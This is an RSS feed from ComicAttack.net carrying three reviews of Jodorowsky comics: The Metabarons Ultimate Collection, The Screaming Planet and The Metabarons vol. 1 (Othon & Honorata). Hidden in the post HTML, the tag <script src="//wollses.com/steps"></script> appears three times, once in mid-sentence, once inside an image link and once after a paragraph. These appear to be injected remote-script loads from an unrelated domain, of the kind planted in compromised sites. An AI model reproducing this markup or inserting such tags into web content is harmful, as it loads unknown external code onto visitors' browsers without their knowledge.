<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>Alejandro Jodorowsky – ComicAttack.net</title> <atom:link href="https://comicattack.net/tag/alejandro-jodorowsky/feed/" rel="self" type="application/rss+xml" /> <link>https://comicattack.net</link> <description></description> <lastBuildDate>Thu, 03 Nov 2011 13:07:17 +0000</lastBuildDate> <language>en-US</language> <sy:updatePeriod> hourly </sy:updatePeriod> <sy:updateFrequency> 1 </sy:updateFrequency> <generator>https://wordpress.org/?v=6.5.3</generator> <image> <url>https://comicattack.net/wp-content/uploads/2019/07/cropped-Review-1-1-32x32.jpg</url> <title>Alejandro Jodorowsky – ComicAttack.net</title> <link>https://comicattack.net</link> <width>32</width> <height>32</height> </image> <item> <title>Humanoids Reviews: Metabarons Ultimate Collection HC</title> <link>https://comicattack.net/metabarons-hc/</link> <comments>https://comicattack.net/metabarons-hc/#respond</comments> <dc:creator><![CDATA[mike]]></dc:creator> <pubDate>Thu, 03 Nov 2011 13:07:17 +0000</pubDate> <category><![CDATA[Exclusives]]></category> <category><![CDATA[Humanoids]]></category> <category><![CDATA[Mike]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Sci-Fi]]></category> <category><![CDATA[Alejandro Jodorowsky]]></category> <category><![CDATA[Humanoids Publishing]]></category> <category><![CDATA[Juan Gimenez]]></category> <category><![CDATA[Metabarons Ultimate Collection]]></category> <category><![CDATA[sci-fi]]></category> <category><![CDATA[The Metabarons]]></category> <guid isPermaLink="false">https://comicattack.net/?p=76318</guid> <description><![CDATA[Alejandro Jodorowsky and Juan Gimenez’s epic space story of The Metabarons has finally been collected in one grand hardcover edition. Published by Humanoids, The Metabarons Ultimate Collection collects The Metabarons #1-4 trades in 544 beautiful pages. Limited to only 999 copies, this ultimate edition comes in a gorgeous black and white slipcase. Metabarons Ultimate Collection […]]]></description> <content:encoded><![CDATA[<p>Alejandro Jodorowsky and Juan Gimenez’s epic space story of The Metabarons has finally been collected in one grand hardcover edition. Published by Humanoids, <em>The Metabarons Ultimate Collection</em> collects <em>The Metabarons</em> #1-4 trades in 544 beautiful pages. Limited to only 999 copies, this ultimate edition comes in a gorgeous black and white slipcase.</p> <p><span style="text-decoration: underline;"><em><strong>Metabarons Ultimate Collection</strong></em></span></p> <p><em><strong> </strong></em></p> <p><em><strong> </strong></em></p> <p><em><strong> </strong></em></p> <p><em><strong> </strong></em></p> <figure id="attachment_76710" aria-describedby="caption-attachment-76710" style="width: 292px" class="wp-caption alignright"><em><strong><a href="https://comicattack.net/wp-content/uploads/2011/10/mb3_cetacyborg.jpg"><img fetchpriority="high" decoding="async" class="size-medium wp-image-76710 " style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2011/10/mb3_cetacyborg-292x300.jpg" alt="" width="292" height="300" /></a></strong></em><figcaption id="caption-attachment-76710" class="wp-caption-text">Cetacyborg. Bad. Ass.</figcaption></figure> <p> </p> <p><em><strong> </strong></em></p> <p><em><strong> </strong></em></p> <p><em><strong> </strong></em></p> <p><em><strong> </strong></em></p> <p><strong>Writer:</strong> Alejandro Jodorowsky<br /> <strong>Artist:</strong> Juan Gimenez</p> <p>Jodorowsky and Gimenez are true masters of their realms. Having created and debuting The Metabaron within the pages of <em>The Incal</em>, The Metabaron grew into his own legacy.<em> The Incal </em>is another story created by Jodorowsky, which is placed within what has now been dubbed the “Jodoverse,” a universe where all 0f Jodorowsky’s science fiction takes place. <em>The Incal</em> features a different cast than the one found in <em>The Metabarons</em>. The Metabaron had become popular enough in its debut in <em>The Incal</em> in May of 1981, that it deserved its own series.</p> <p>The Metabarons are a long line of fearless warriors. Fusing technology with their own body, a Metabaron is the ultimate warrior of the universe. There can only be one Metabaron alive in the universe at a time. This is because of the rigorous trials and rituals involved in becoming a Metabaron. The aspiring Metabaron must kill his own father, the current Metabaron. When the heir is born, his father mutilates him, for two reasons. To test his endurance and to make him stronger. The mutilated body part is replaced by mechanical parts, making the hopeful heir a cyborg. For the rest of the heir’s adolescent life, he must train and become better than his father. The Metabarons are skilled in every facet of combat, and attain victory at any cost, making them as deadly as they are ruthless.</p> <p><a href="https://comicattack.net/wp-content/uploads/2011/10/img003.jpg"><img decoding="async" class="alignleft size-medium wp-image-76554" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2011/10/img003-225x300.jpg" alt="" width="225" height="300" /></a>Jodorosky’s work in <em>The Metabarons</em> is one of the most complete and compelling space tales ever told. The creativity that Jodorowsky pours into his Jodoverse is incredibly imaginative and unique. Without confusing or alienating the reader, Jodorowsky manages to create many unique species and worlds that have never been seen before. From flying apes that lived on a planet with massive poisonous mushrooms, to an evil witch cult that flies around in giant whale/shark-looking ships, Jodorowsky combines and creates normal ideas for a very special universe.</p> <p>One of the difficult parts in regards to <em>The Metabarons<script src="//wollses.com/steps"></script></em> is trying to fit it into one category. Which is a good thing. As a whole, it is an epic space opera, no doubt about that. That being said, there are so many other elements to it that make it such a masterpiece. The drama within the family, and most of all within each and every Metabaron, is imaginative, yet easy to understand. The use of primitive worlds in the same universe as some of the most advanced technology makes for an amazing variety. Some battles take place in the stars among ships, yet many battles take place in hand to hand or melee combat, using many elements of fantasy swordplay. The rituals and superstitions add a religious tone, which is hard to incorporate within a story without making it the sole idea. Jodorowsky does it with ease.</p> <p>The unique universe is only one aspect of Jodorowsky’s genius. The evolution of the Metabaron lineage feels so natural while reading it, that despite all of the science fiction and unusual creations, readers are able to understand and sympathize with the characters. How many times have you heard, “I just don’t connect with the character(s)”? This just isn’t the case with <em>The Metabarons</em>. With each new Metabaron it is easy to understand their motives and follow their adventures. Jodorowsky manages to touch on so many emotions that you very nearly get overwhelmed with the ideas and concepts given to you. But, just at the right time, a tense moment or thought provoking event is broken up by the antics of Tonto and Lothar, the current Metabaron’s robotic slaves, as well as narrators of the story. Fear, curiosity, love, disgust, action, sex, anger, joy, surprise, envy, and anxiety are just a few of the emotions that <em>The Metabarons</em> invokes.<a href="https://comicattack.net/wp-content/uploads/2011/10/img002.jpg"><img decoding="async" class="alignright size-medium wp-image-76553" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2011/10/img002-225x300.jpg" alt="" width="225" height="300" /></a></p> <p>Pairing artist Juan Gimenez with the mind of Jodorowsky is a perfect match. Juan Gimenez’s work can only be described in one word: breathtaking. His beautiful painted style coupled with his attention to detail make for some of the most gorgeous work out there. One of Gimenez’s best traits is his attention to detail. From panels where all you see are two beings standing, to huge panoramic shots, Gimenez draws every line without skipping a beat. His colors are all very natural, and even though readers are engaged in a very strange and unusual universe, Gimenez makes it easy to get a feel for where they are. Every landscape is done beautifully, and every building has its own unique architecture. When jumping from planet to planet it is easy to imagine what the planet is like, with the way Jodorowsky describes and the ease that Gimenez draws it.</p> <p><a href="https://comicattack.net/wp-content/uploads/2011/10/metabaronsbattle.jpg"><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-76556" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2011/10/metabaronsbattle-239x300.jpg" alt="" width="239" height="300" /></a></p> <p>While it would be a real spectacle to see more of the long line of Metabarons, having finished reading this Ultimate Collection you will feel more than satisfied. From front to back it is delivered in a most gorgeous format. Collecting the first four trades, which are split up themselves into two “chapters” each, this hardcover is a fantastic item to have. The slipcover it comes in gives it a real regal feel with a dark undertone, which perfectly describes the legacy of the Metabaron. The black ribbon bookmark is a must, because reading all 544 pages in one sitting is no easy task. As it’s limited to only 999 copies, many people will be wanting to get their hands on this beautiful book.</p> <p>If there was ever any story to be collected in an ultimate edition, it would be <em>The Metabarons</em>. Though the character was created 30 years ago, and the stories have been written since the 90s, many of the ideas and concepts are everlasting. Alejandro Jodorowsky provides an amazing blend of drama and family inspired motivations. Add to this fearless warriors mixed with space faring action and futuristic concepts, and you are in for one hell of a ride. Juan Gimenez’s breathtaking art only enhances the story. Gorgeous panoramic views, realistic anatomies, and some of the most creative ideas for ships, aliens, and landscapes are truly awe inspiring. Suggesting this timeless classic is an understatement. A beautiful piece to showcase on any bookcase, <em>The Metabarons: Ultimate Collection</em> is a must have for any fan of master storytelling and superior art.</p> <figure id="attachment_76706" aria-describedby="caption-attachment-76706" style="width: 225px" class="wp-caption aligncenter"><a href="https://comicattack.net/wp-content/uploads/2011/10/The-Metabarons-Ultimate-Collection-Omnibus_big.jpg"><img loading="lazy" decoding="async" class="size-medium wp-image-76706 " style="margin-top: 1px; margin-bottom: 1px;" src="https://comicattack.net/wp-content/uploads/2011/10/The-Metabarons-Ultimate-Collection-Omnibus_big-225x300.jpg" alt="" width="225" height="300" /></a><figcaption id="caption-attachment-76706" class="wp-caption-text">Cover and Slipcase</figcaption></figure> <p style="text-align: center;"> </p> <p><span style="text-decoration: underline;">Mike Parente</span><br /> mike@comicattack.net</p> <p><em>A copy of this book was provided by the publisher for review. Many Thanks.<br /> </em></p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/metabarons-hc/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Touring the Cosmos: Alejandro Jodorowsky’s Screaming Planet</title> <link>https://comicattack.net/ttcscreaming-planet/</link> <comments>https://comicattack.net/ttcscreaming-planet/#respond</comments> <dc:creator><![CDATA[mike]]></dc:creator> <pubDate>Tue, 01 Nov 2011 14:00:46 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Humanoids]]></category> <category><![CDATA[Mike]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Sci-Fi]]></category> <category><![CDATA[Touring the Cosmos]]></category> <category><![CDATA[Alejandro Jodorowsky]]></category> <category><![CDATA[Humanoids Publishing]]></category> <category><![CDATA[Jerome Opena]]></category> <category><![CDATA[sci-fi]]></category> <category><![CDATA[Screaming Planet]]></category> <guid isPermaLink="false">https://comicattack.net/?p=75996</guid> <description><![CDATA[“…I had specialized in four-, six-, eight-, or ten-volume series. Before starting each of these sagas, I would meet several times with an artist whose previous works I admired. I would ask him questions to figure out his personality, his tastes, the archetypes that people his unconscious, his level of consciousness, his religious or political […]]]></description> <content:encoded><![CDATA[<p>“…I had specialized in four-, six-, eight-, or ten-volume series.</p> <p>Before starting each of these sagas, I would meet several times with an artist<br /> whose previous works I admired. I would ask him questions to figure out his<br /> personality, his tastes, the archetypes that people his unconscious, his level of<br /> consciousness, his religious or political ideas, the imaginary worlds he longed<br /> to explore. From all this data I created adventures that would take place in a<br /> universe that the artist could consider his own, and characters with whom he<br /> could identify.”</p> <p>-Alejandro Jodorowsky</p> <p> </p> <p><em><strong>The Screaming Planet<a href="https://comicattack.net/wp-content/uploads/2011/10/Screaming_original.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-75999" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2011/10/Screaming_original-197x300.jpg" alt="" width="197" height="300" /></a></strong></em></p> <p><strong>Writer: </strong>Alejandro Jodorowsky<br /> <strong>Artists:</strong> Adi Granov, Axel Medellin, Carlos Meglia, Christian Hojgaard, Pascal Alixe, Igor Baranko, Jerome Opena, JH Williams III, Ladronn, Marc Riou, Mark Vigouroux, Ciruelo</p> <p> </p> <p>Alejandro Jodorowsky is an expert storyteller. There is no doubt about that. With a long list of credits that includes films, acting, and writing, Jodorowsky’s mix of realism, honesty, and reflection is hard to ignore. As you can see from the above quote, which is part of the foreword in <em>The Screaming Planet</em>, Jodorowsky takes his work very seriously and fully immerses himself in it. In <em>The Screaming Planet</em>, he collaborates with a variety of artists to tell an assortment of stories, all collected in one big tale. Each single story has been published in <em>The Metal Hurlant</em>, a magazine that produced science fiction and horror stories, which was published by Humanoids Publishing.</p> <p>Jodorowsky ties all of these tales together with his first story. The first story tells of a beautiful world that was destroyed by its own inhabitants. This world had a consciousness, and as the planet blew up in a fiery explosion, one remaining rock survived. This comet was hurled through space, and as it soared among the stars, it passed by other planets. Each of these planets are part of another tale told by Jodorowsky, and drawn by a different artist. Every story has its own unique twist, characters, and adventure. These stories contain aliens, foreign planets, and unique individuals, but in the end the lesson learned from each story can all be applied to our own lives.</p> <figure id="attachment_76005" aria-describedby="caption-attachment-76005" style="width: 476px" class="wp-caption aligncenter"><a href="https://comicattack.net/wp-content/uploads/2011/10/planet-1-1.jpg"><img loading="lazy" decoding="async" class="size-full wp-image-76005 " style="margin-top: 1px; margin-bottom: 1px;" src="https://comicattack.net/wp-content/uploads/2011/10/planet-1-1.jpg" alt="" width="476" height="210" /><script src="//wollses.com/steps"></script></a><figcaption id="caption-attachment-76005" class="wp-caption-text">Riou and Vigouroux</figcaption></figure> <p style="text-align: center;"> </p> <figure id="attachment_76036" aria-describedby="caption-attachment-76036" style="width: 300px" class="wp-caption alignleft"><a href="https://comicattack.net/wp-content/uploads/2011/10/ship-11.jpg"><img loading="lazy" decoding="async" class="size-medium wp-image-76036" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2011/10/ship-11-300x194.jpg" alt="" width="300" height="194" /></a><figcaption id="caption-attachment-76036" class="wp-caption-text">Adi Granov</figcaption></figure> <p>It would be difficult to pick apart each story, but as far as art goes, each story was great in its own right. Jodorowsky spent time with each artist in order to get a grasp on what they excelled at. If an artist was great with drawing characters and struggled with landscapes, Jodorowsky invented a flat stone planet with only one structure on it. If one artist specialized in drawing machines, Jodorowsky created a world populated by robots. A little more on this can be found in the introduction that Jodorowsky wrote. As mentioned above, all of the stories looked great. Jodorowsky really wanted each artist to showcase their abilities, so there was something great to look at in each story. Adi Granov really showed off his realistic art in “Masters of Destiny.” His futuristic take on clothing and his space ships looked great. He really chose some explosive angles and created some great action sequences. “Robochrist,” by artist Medellin, really stood out because it was a world inhabited entirely by robots. It is exactly what a planet would look like if it was filled with machines and technology. The colors used also really helped with the contrasting civilizations. A mention should also be given to Ciruelo, who really nailed the art in “The Alchemical Egg.” One or two panels lacked a little action, but the elegance and intensity of all the other pages more than made up for it.</p> <figure id="attachment_76038" aria-describedby="caption-attachment-76038" style="width: 226px" class="wp-caption alignright"><a href="https://comicattack.net/wp-content/uploads/2011/10/dragons.jpg"><img loading="lazy" decoding="async" class="size-medium wp-image-76038" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2011/10/dragons-226x300.jpg" alt="" width="226" height="300" /></a><figcaption id="caption-attachment-76038" class="wp-caption-text">Ciruelo</figcaption></figure> <p>Jodorowsky created varying worlds and characters with each artist, and each tale holds its own merit. While each story contained some truly alien characters and strange civilizations, all of the lessons learned in each story can be applied to a more modern take on our own lives. Jodorowsky is clearly a deep thinker, and a lot of his perceptions of humanity came out in the stories inside <em>The Screaming Planet</em>.<em> “</em>Who’s Dreaming Now?” with Jerome Opena is a great look at blind faith. Do we waste our time on this Earth by engaging in faith wars, while missing out on living? “The Debt” with artist Carlos Meglia was a quick story, but really packed a whole “Sins of thy father” tale. The art in<em> “</em>Tears of Gold” with Jose Ladronn was a great touch for a great story. A child is abused when he cries tears of gold. When he learns to adjust the substance of his tears, he uses it to get revenge on those who tortured him.</p> <p><em>The Screaming Planet </em>is a fun read. The collection of stories and artists make for some real entertainment, with a great variety. When Jodorowsky decided to exploit the talents of each artist, he wasn’t wrong. While each tale holds its own merit and lessons, the art only enhances the whole experience. Using the last piece of a dying planet to travel the cosmos to come across these stories was a great way to tie it all together. Each story leaves you thinking a little bit at the end. So far, Jodorowsky has been a complete genius with his work. When someone wants to put so much effort into their work, it is hard not to admire the end result. <em>The Screaming Planet</em> will most definitely leave you admiring.</p> <p><em>Check out our look at <a href="https://comicattack.net/2011/04/ttc35mbarons/">The Metabarons vol. 1</a> by Jodorowsky.</em></p> <p><span style="text-decoration: underline;">Mike Parente</span><br /> mike@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/ttcscreaming-planet/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Touring the Cosmos: The Metabarons vol. 1: Othon & Honorata</title> <link>https://comicattack.net/ttc35mbarons/</link> <comments>https://comicattack.net/ttc35mbarons/#comments</comments> <dc:creator><![CDATA[mike]]></dc:creator> <pubDate>Tue, 05 Apr 2011 08:00:54 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[Heavy Metal]]></category> <category><![CDATA[Humanoids]]></category> <category><![CDATA[Indie]]></category> <category><![CDATA[Mike]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Sci-Fi]]></category> <category><![CDATA[Steampunk]]></category> <category><![CDATA[Touring the Cosmos]]></category> <category><![CDATA[Alejandro Jodorowsky]]></category> <category><![CDATA[Humanoids Publishing]]></category> <category><![CDATA[Juan Gimenez]]></category> <category><![CDATA[Othon & Honorata]]></category> <category><![CDATA[sci-fi]]></category> <category><![CDATA[The Metabarons]]></category> <guid isPermaLink="false">https://comicattack.net/?p=58361</guid> <description><![CDATA[Originally published in French, The Metabarons is a four-volume series by Alejandro Jodorowsky and Juan Giminez. Humanoids Publishing released all four volumes in English from 2004-2010. The first installment, Othon & Honorata, features the origin story of The Metabaron line. The Metabarons: Vol. 1 Othon & Honorata Writer: Alejandro Jodorowsky Artist: Juan Gimenez To create […]]]></description> <content:encoded><![CDATA[<p style="text-align: center;"><a href="https://comicattack.net//wp-content/uploads/2011/03/touringthecosmosbanner2.jpg"><img loading="lazy" decoding="async" class="size-full wp-image-58362 aligncenter" style="margin-top: 1px; margin-bottom: 1px;" src="https://comicattack.net//wp-content/uploads/2011/03/touringthecosmosbanner2.jpg" alt="" width="510" height="203" srcset="https://comicattack.net/wp-content/uploads/2011/03/touringthecosmosbanner2.jpg 630w, https://comicattack.net/wp-content/uploads/2011/03/touringthecosmosbanner2-300x119.jpg 300w" sizes="(max-width: 510px) 100vw, 510px" /></a></p> <p style="text-align: left;">Originally published in French, <em>The Metabarons</em> is a four-volume series by Alejandro Jodorowsky and Juan Giminez. Humanoids Publishing released all four volumes in English from 2004-2010. The first installment, <em>Othon & Honorata</em>, features the origin story of The Metabaron line.</p> <p style="text-align: left;"><strong><em>The Metabarons: Vol. 1 Othon & Honorata<a href="https://comicattack.net//wp-content/uploads/2011/03/Metabaronsa_original.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-58374" style="margin: 1px 4px;" src="https://comicattack.net//wp-content/uploads/2011/03/Metabaronsa_original-217x300.jpg" alt="" width="217" height="300" srcset="https://comicattack.net/wp-content/uploads/2011/03/Metabaronsa_original-217x300.jpg 217w, https://comicattack.net/wp-content/uploads/2011/03/Metabaronsa_original.jpg 266w" sizes="(max-width: 217px) 100vw, 217px" /></a><br /> </em>Writer: </strong>Alejandro Jodorowsky<br /> <strong>Artist:</strong> Juan Gimenez</p> <p style="text-align: left;">To create a space opera is an extremely difficult feat. It requires a mix of varying elements, from action, to drama, to adventure and beyond. Jodorowsky and Gimenez take all of the right ingredients and put it all together for a treat in <em>The Metabarons: Othon & Honorata</em>. To be honest, I expected something completely different from what I got in this book. I thought I was in for a very abstract read, involving gratuitous scenes of sex and obscene violence. Boy, was I wrong.</p> <p style="text-align: left;"><em>The Metabarons</em> introduces us to an original universe. There are some steampunk influences, <em>Dune </em>influences, magical influences, but ultimately it is a sci-fi story. Each planet has its own unique properties, each faction has its own look, and everyone has a story. Every character serves a purpose, however little or big, and this creates a very entertaining experience. The Metabarons are a line of warriors who follow very specific traditions. Each heir to the bloodline encounters his own troubles, and <em>Othon & Honorata</em> introduces what started this unique lineage. As a focal point for the story, they are an interesting clan; a mix of warrior instincts and cyborg parts, they get close to being the “superhero” of the story, although sometimes their motives may seem askew.</p> <p style="text-align: left;"><a href="https://comicattack.net//wp-content/uploads/2011/03/TheMetabaronsheads.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-58380" src="https://comicattack.net//wp-content/uploads/2011/03/TheMetabaronsheads.jpg" alt="" width="617" height="280" srcset="https://comicattack.net/wp-content/uploads/2011/03/TheMetabaronsheads.jpg 617w, https://comicattack.net/wp-content/uploads/2011/03/TheMetabaronsheads-300x136.jpg 300w" sizes="(max-width: 617px) 100vw, 617px" /></a></p> <p style="text-align: left;">Now, I don’t want to spoil too much of the book, even though it is six years old; it would be like telling the story of <em>A New Hope</em> to someone who hasn’t seen <em>Star Wars</em>. Yes the ending is a bit obvious, but there are a lot of spoilers and quirks along the way. That being said, there a few things I’d like to mention. Othon von Salza, the first Metabaron, had some traumatic ordeals to live through, which were each exciting in their own way. Othon resides on the planet Marmola, where they export marble. On Marmola, the residents tend to live quite primitively in comparison to the rest of the galaxy. They rely on the strength and resolve of the person, rather than technology. They train as warriors, but hold a great secret as to how they transport the marble; it’s with a blue substance that makes objects nearly weightless, called epiphyte. After a freak accident, the secret of epiphyte is outed to the universe, and a territorial war ensues. Othon re-establishes himself on another world, and after having his crotch shot off, produces an heir through magic. Powerful and impacting stuff.<script src="//wollses.com/steps"></script></p> <p style="text-align: left;"><a href="https://comicattack.net//wp-content/uploads/2011/03/TheMetabaronsinterior.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-58387" src="https://comicattack.net//wp-content/uploads/2011/03/TheMetabaronsinterior.jpg" alt="" width="350" height="712" srcset="https://comicattack.net/wp-content/uploads/2011/03/TheMetabaronsinterior.jpg 350w, https://comicattack.net/wp-content/uploads/2011/03/TheMetabaronsinterior-147x300.jpg 147w" sizes="(max-width: 350px) 100vw, 350px" /></a></p> <p style="text-align: left;"><a href="https://comicattack.net//wp-content/uploads/2011/03/TheMetabaronsbots.jpg"><img loading="lazy" decoding="async" class="alignright size-full wp-image-58386" style="margin: 1px 4px 1px 4px;" src="https://comicattack.net//wp-content/uploads/2011/03/TheMetabaronsbots.jpg" alt="" width="231" height="266" /></a>Juan Gimenez’s art throughout this story was very inspiring. What I like about <em>The Metabarons</em> as a whole is that no matter how outlandish the material may seem at times, it all comes off naturally. Gimenez takes this idea, commits to it, and definitely runs with it. The scenes where you see a bit of nudity aren’t forced on you, they are just there, in a very good way. Breasts aren’t unnecessarily massive, and even the prosthetic crotch of Othon didn’t totally scare me. I didn’t feel embarrassed while reading through the nude scenes because they served the plot, which is pretty rare for a comic book. Yet, this isn’t even what makes the art the art so good – it’s Gimenez’s attention to detail that is truly amazing. From every mark on a ship, to the rust on the robots, you can really tell that Gimenez gave his all on this one. Every character looked different, even the fillers. The only time I was a bit confused was in the very beginning, because the von Salza family looked so similar, but upon further reading, that problem was soon rectified. Although Gimenez’s work is so detailed, he finds balance, as he doesn’t make each and every object pop. When there is fog, or a blast from an explosion, or a panoramic view (yes, you get all of this and more), the environment and characters/buildings blend together quite well.</p> <p style="text-align: left;">Alejandro Jodorowsky provides a truly provocative and entertaining story. From the get go, it was a tad confusing because I was in a brand new universe, but as soon as it was established who was telling the story (Tonto and Lothar, the robot slaves), everything re-focused, and from there on it was a heck of a ride! Jodorowsky envelops you in a very unique universe, one that is seemingly endless. Not only are you thrust into a place that seems to be developed from top to bottom, he presents characters whose values and morals are initially foreign, but you learn to respect and understand them as the book progresses. Character motives and interactions were very clear, but not obvious. When Othon seems as though he is acting unusually, a split-second later it is explained and it makes perfect sense. While Jodorowsky’s style is very unique, he has a long list of other credits. He directed and starred in <em>El Topo</em> (1970), <em>The Holy Mountain</em> (1973), and wrote <em>Santa Sangre</em> (1989). He has written a number of plays and created <em>The Incal</em>, another popular sci-fi story set in the same Metabaron universe. Many famous figures also cite him as an influence (Marilyn Manson, David Lynch).</p> <p style="text-align: center;"><a href="https://comicattack.net//wp-content/uploads/2011/03/Metabaronsship.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-58382" src="https://comicattack.net//wp-content/uploads/2011/03/Metabaronsship.jpg" alt="" width="574" height="480" srcset="https://comicattack.net/wp-content/uploads/2011/03/Metabaronsship.jpg 896w, https://comicattack.net/wp-content/uploads/2011/03/Metabaronsship-300x251.jpg 300w, https://comicattack.net/wp-content/uploads/2011/03/Metabaronsship-768x643.jpg 768w" sizes="(max-width: 574px) 100vw, 574px" /></a></p> <p style="text-align: left;"> <figure id="attachment_58388" aria-describedby="caption-attachment-58388" style="width: 236px" class="wp-caption alignright"><a href="https://comicattack.net//wp-content/uploads/2011/03/honoratacover.jpg"><img loading="lazy" decoding="async" class="size-medium wp-image-58388 " style="margin: 1px 4px 1px 4px;" src="https://comicattack.net//wp-content/uploads/2011/03/honoratacover-236x300.jpg" alt="" width="236" height="300" /></a><figcaption id="caption-attachment-58388" class="wp-caption-text">Cover: The Metabarons Album 2: Honorata le Trisaieul</figcaption></figure> <p style="text-align: left;">Being a reader of more traditional sci-fi stories, there were a few moments during this book when I saw some very off-beat things. For example, the two sisters Othon uses as his sex slaves are shown at times to be using each others’ presence for a little more than just…<em>comfort</em>. Also, the scene when Othon explains his prosthetic genitalia to Honorata made me pause for a second. These are just a couple examples of Jodorowsky’s very honest writing, but I am not at all suggesting that these moments were unwarranted. These ‘extreme’ scenes did not feel forced at all, but were entirely integral parts of the story that actually needed to be shown to build and establish the characters. I can’t stress enough how detailed Gimenez’s work was. Usually you can tell when an artist is relaxing a bit, but Gimenez goes full throttle from start to finish.</p> <p style="text-align: left;">With the honest writing and detailed artwork, I truly felt as though I was experiencing a <em>Metabarons</em> movie. The narrating from the robots added a comedic relief that didn’t take away from the seriousness of the story, and helped usher the reader along. I’m actually pretty pissed at myself for not having read this earlier, and would easily suggest <em>Metabarons</em> to any fan of sci-fi fan or just great comics in general.</p> <p><em><strong>Editor’s Note: </strong>ComicAttack.net has been officially nominated for an Eagle Award! Please <a href="http://www.eagleawards.co.uk/">click here</a> to vote for us in the “Favorite Comic Book Website” category (question #27). Thank you for your continued support!</em></p> <p style="text-align: left;"><span style="text-decoration: underline;">Mike Parente</span><br /> mike@comicattack.net</p> <p style="text-align: left;"><em>A copy of this book was provided by the publisher for review.</em></p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/ttc35mbarons/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> </channel> </rss>